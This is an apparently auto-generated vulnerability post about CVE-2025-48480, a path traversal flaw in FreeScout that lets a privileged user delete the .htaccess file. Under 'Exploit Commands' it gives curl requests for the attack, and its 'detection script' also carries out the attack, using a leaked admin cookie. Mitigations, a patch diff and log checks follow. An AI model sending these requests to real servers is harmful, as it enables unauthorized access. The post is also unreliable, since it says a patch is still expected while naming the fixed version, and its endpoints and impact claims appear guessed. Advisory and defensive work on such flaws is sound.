Listen to this Post
How the CVE Works
CVE-2025-48480 is a critical path traversal vulnerability in FreeScout (prior to v1.8.180). An authenticated administrator or user with `User::PERM_EDIT_USERS` privileges can exploit this flaw by manipulating the avatar upload path. By setting the avatar path to `../.htaccess` during user creation and later deleting the avatar, the attacker forces the system to delete the `.htaccess` file in /storage/app/public
. This can disable security restrictions, leading to unauthorized access, directory listing, or further server compromise. The vulnerability stems from insufficient path sanitization during file deletion.
DailyCVE Form
Platform: FreeScout
Version: <1.8.180
Vulnerability: Path Traversal
Severity: Critical
Date: 06/04/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Analytics:
- Exploitable via low-privilege admin accounts.
- Impacts Apache/Nginx configurations relying on
.htaccess
. - Attack chain: Upload → Delete → Bypass security.
Exploit Commands:
1. Craft Malicious Request:
curl -X POST 'https://<target>/users/create' -d 'avatar=../.htaccess' -H 'Cookie: <admin_session>'
2. Trigger Deletion:
curl -X DELETE 'https://<target>/users/avatar/delete' -H 'Cookie: <admin_session>'
Mitigation Commands:
1. Immediate Workaround:
chattr +i /storage/app/public/.htaccess
2. Patch Verification:
grep -r "realpath" /var/www/freescout/app/Http/Controllers/UserController.php
Code Fix (Patch Analysis):
// Before (Vulnerable): unlink(storage_path('app/public/' . $user->avatar)); // After (Patched): $avatarPath = realpath(storage_path('app/public/' . $user->avatar)); if (strpos($avatarPath, storage_path('app/public')) !== false) { unlink($avatarPath); }
Detection Script:
import requests target = "http://<freescout_host>" session = requests.Session() session.cookies.update({"session_id": "<leaked_admin_cookie>"}) response = session.post(f"{target}/users/create", data={"avatar": "../.htaccess"}) if response.status_code == 200: print("[!] Vulnerable to CVE-2025-48480")
Post-Exploit Impact:
- Disabled `.htaccess` allows arbitrary file uploads.
- Potential RCE via `.user.ini` manipulation.
Permanent Fix:
- Upgrade to FreeScout v1.8.180+.
- Audit user privileges.
Log Monitoring:
tail -f /var/log/apache2/access.log | grep "POST /users/create"
Threat Indicators:
- Unusual `.htaccess` deletion logs.
- Admin users creating/deleting avatars rapidly.
End of Report.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode